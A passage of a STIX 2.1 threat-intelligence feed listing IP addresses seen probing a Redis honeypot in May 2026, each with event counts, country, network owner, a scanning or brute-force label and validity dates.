      "created": "2026-05-21T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--d5364081-3480-4139-9894-855b8073df55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T21:25:10.000Z",
      "valid_until": "2026-06-22T21:25:09.000Z"
    },
    {
      "created": "2026-05-22T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--b3a01f24-9ff5-4558-89cd-b3c9dbb134da",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-22T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '101.249.63.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:25:10.000Z",
      "valid_until": "2026-06-23T01:25:08.000Z"
    },
    {
      "created": "2026-05-22T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--18f5a056-78d8-4a5b-9163-7457e4fc52a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '111.113.89.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:25:10.000Z",
      "valid_until": "2026-06-23T01:25:08.000Z"
    },
    {
      "created": "2026-05-22T05:25:49.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--87fab8b2-02a2-4af3-8e3a-85583ef735f0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-22T05:25:49.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:25:49.000Z",
      "valid_until": "2026-06-23T05:25:09.000Z"
    },
    {
      "created": "2026-05-22T05:25:49.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T05:25:49.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:25:49.000Z",
      "valid_until": "2026-06-23T05:25:09.000Z"
    },
    {
      "created": "2026-05-22T05:25:49.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--5f463d11-f583-401f-a9a1-703d94738290",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-22T05:25:49.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:25:49.000Z",
      "valid_until": "2026-06-23T05:25:09.000Z"
    },
    {
      "created": "2026-05-22T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=NG; asn=36923; asn_org=SWIFTNG-ASN; redis_cmd_hits=0",
      "id": "indicator--0a5ed2f0-4eca-4f11-a6df-e576020e38ee",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-22T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '41.58.186.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T06:25:10.000Z",
      "valid_until": "2026-06-23T06:25:09.000Z"
    },
    {
      "created": "2026-05-22T10:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--04a8387f-61ea-48d8-974f-b9dd09f40661",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T10:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:25:11.000Z",
      "valid_until": "2026-06-23T10:25:09.000Z"
    },
    {
      "created": "2026-05-22T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--52fe56b4-1f4e-4aec-b4d7-bd090c4ffd24",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-22T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '98.89.204.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:25:10.000Z",
      "valid_until": "2026-06-23T11:25:09.000Z"
    },
    {
      "created": "2026-05-22T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--4175dee4-9c3d-44bf-94aa-99a98cca022e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-22T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.255.242.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T13:25:10.000Z",
      "valid_until": "2026-06-23T13:25:09.000Z"
    },
    {
      "created": "2026-05-22T14:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=TR; asn=42926; asn_org=Radore Veri Merkezi Hizmetleri A.S.; redis_cmd_hits=0",
      "id": "indicator--416e4a21-4f24-42a8-9e49-712666aa3deb",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-22T14:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.53.85.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:25:09.000Z",
      "valid_until": "2026-06-23T14:25:08.000Z"
    },
    {
      "created": "2026-05-22T14:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=FR; asn=51167; asn_org=Contabo GmbH; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--f92076a9-9728-400b-83b6-4c6c51de7784",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '84.247.138.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:25:09.000Z",
      "valid_until": "2026-06-23T14:25:08.000Z"
    },
    {
      "created": "2026-05-22T15:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--3a827718-21e3-41e6-9c60-ef48af8bc7cd",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-22T15:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.223.179.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:25:14.000Z",
      "valid_until": "2026-06-23T15:25:13.000Z"
    },
    {
      "created": "2026-05-22T15:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=34; ports=6379; cc=PT; asn=211680; asn_org=Sistemas Informaticos, S.A.; redis_cmds=EVAL  0; redis_cmd_hits=0; cmd=\"EVAL  0\"",
      "id": "indicator--681e75f8-f5bb-49f3-9e1c-7b82a09faa91",
      "labels": [
        "malware_hosting"
      ],
      "modified": "2026-05-22T15:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:25:14.000Z",
      "valid_until": "2026-06-23T15:25:13.000Z"
    },
    {
      "created": "2026-05-22T16:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode,Not Suspicious Traffic; redis_cmd_hits=0",
      "id": "indicator--0fa778ff-e856-4112-a989-33059da1178e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-22T16:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.99.154.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:25:12.000Z",
      "valid_until": "2026-06-23T16:25:09.000Z"
    },
    {
      "created": "2026-05-22T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--56bd2568-65eb-4737-ab73-bb26894a0871",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.86.104.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:25:10.000Z",
      "valid_until": "2026-06-23T19:25:09.000Z"
    },
    {
      "created": "2026-05-22T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--3427f57a-2ea0-4526-b941-ced0723a8336",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-22T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.199.87.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:25:10.000Z",
      "valid_until": "2026-06-23T19:25:09.000Z"
    },
    {
      "created": "2026-05-22T20:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--f28f2745-c6e2-4149-97e9-837b2bdcd08a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-22T20:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.94.254.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:25:06.000Z",
      "valid_until": "2026-06-23T20:25:05.000Z"
    },
    {
      "created": "2026-05-22T21:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--08a34629-ac36-47a2-bcd3-e8a32d74e886",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:25:04.000Z",
      "valid_until": "2026-06-23T21:25:03.000Z"
    },
    {
      "created": "2026-05-22T21:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--084227a5-fbbf-4ecb-bf5f-b3b113a8998f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T21:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T21:25:04.000Z",
      "valid_until": "2026-06-23T21:25:03.000Z"
    },
    {
      "created": "2026-05-23T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--59e82764-3c26-4632-9135-8213d9ade5fa",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.28.153.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:25:10.000Z",
      "valid_until": "2026-06-24T01:25:09.000Z"
    },
    {
      "created": "2026-05-23T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--3d452864-3c30-4a3c-9b63-b552270b0d06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:25:10.000Z",
      "valid_until": "2026-06-24T01:25:09.000Z"
    },
    {
      "created": "2026-05-23T02:25:16.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=LT; asn=209605; asn_org=UAB Host Baltic; redis_cmd_hits=0",
      "id": "indicator--c3ab4d2f-8fb5-4e15-b2d9-7e0c22d59a2b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T02:25:16.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.98.10.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:25:16.000Z",
      "valid_until": "2026-06-24T02:25:15.000Z"
    },
    {
      "created": "2026-05-23T03:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--08acf91c-c26f-4c00-9b61-e389ac125046",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T03:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T03:25:10.000Z",
      "valid_until": "2026-06-24T03:25:09.000Z"
    },
    {
      "created": "2026-05-23T04:25:18.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--008131b8-aeef-4d07-856a-18343031c4cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T04:25:18.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.169.107.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T04:25:18.000Z",
      "valid_until": "2026-06-24T04:25:08.000Z"
    },
    {
      "created": "2026-05-23T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=PA; asn=269736; asn_org=PACIFIC NETWORK COMMUNICATION S.A.; redis_cmd_hits=0",
      "id": "indicator--3c8926f6-bc41-4492-881f-24e41946471c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.181.69.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:25:10.000Z",
      "valid_until": "2026-06-24T05:25:09.000Z"
    },
    {
      "created": "2026-05-23T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--83cf0401-2069-4004-b084-764a3e58a429",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T05:25:10.000Z",
      "valid_until": "2026-06-24T05:25:09.000Z"
    },
    {
      "created": "2026-05-23T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4808; asn_org=China Unicom Beijing Province Network; redis_cmd_hits=0",
      "id": "indicator--73ec225d-d2e1-4d4e-8cda-ac93d949ab90",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '117.50.47.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T06:25:10.000Z",
      "valid_until": "2026-06-24T06:25:09.000Z"
    },
    {
      "created": "2026-05-23T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=22; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--c31c93f0-d3fb-4007-a84a-7d38fd969fcb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.211.99.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:25:10.000Z",
      "valid_until": "2026-06-24T07:25:09.000Z"
    },
    {
      "created": "2026-05-23T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=FR; asn=51167; asn_org=Contabo GmbH; redis_cmd_hits=0",
      "id": "indicator--17f0557e-2305-4677-929d-05b8df41024a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.60.241.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T07:25:10.000Z",
      "valid_until": "2026-06-24T07:25:09.000Z"
    },
    {
      "created": "2026-05-23T10:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--92220305-ace6-4809-85b1-07cef07e55fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T10:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.222.174.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:25:11.000Z",
      "valid_until": "2026-06-24T10:25:09.000Z"
    },
    {
      "created": "2026-05-23T10:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--c6a9f83c-bf8e-4dba-8b52-01c70f4d766d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T10:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.172.39.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T10:25:11.000Z",
      "valid_until": "2026-06-24T10:25:09.000Z"
    },
    {
      "created": "2026-05-23T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=CZ; asn=213373; asn_org=IP Connect Inc; redis_cmd_hits=0",
      "id": "indicator--5a8b1dd6-5a1e-47f3-b19e-0d03ce2a9494",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.19.173.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T11:25:10.000Z",
      "valid_until": "2026-06-24T11:25:09.000Z"
    },
    {
      "created": "2026-05-23T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--5687dec9-cac3-4108-9702-38023425e284",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.245.251.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:25:10.000Z",
      "valid_until": "2026-06-24T12:25:09.000Z"
    },
    {
      "created": "2026-05-23T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--8852c520-7c0d-466b-88f0-663f954e59d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '180.95.231.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:25:10.000Z",
      "valid_until": "2026-06-24T12:25:09.000Z"
    },
    {
      "created": "2026-05-23T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--3b5b88a6-b92c-49fc-b252-60bafff1fb9e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '60.25.68.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T12:25:10.000Z",
      "valid_until": "2026-06-24T12:25:09.000Z"
    },
    {
      "created": "2026-05-23T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--6e7b1ddb-0558-4595-ba16-adf1e620c442",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T14:25:10.000Z",
      "valid_until": "2026-06-24T14:25:09.000Z"
    },
    {
      "created": "2026-05-23T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; redis_cmd_hits=0",
      "id": "indicator--ed938d28-aeb4-4795-abb9-d3fecb6e0bed",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-23T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:25:10.000Z",
      "valid_until": "2026-06-24T16:25:09.000Z"
    },
    {
      "created": "2026-05-23T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--c1e3a8f7-5f48-4f68-9fcb-3b139e65e5bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:25:10.000Z",
      "valid_until": "2026-06-24T16:25:09.000Z"
    },
    {
      "created": "2026-05-23T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
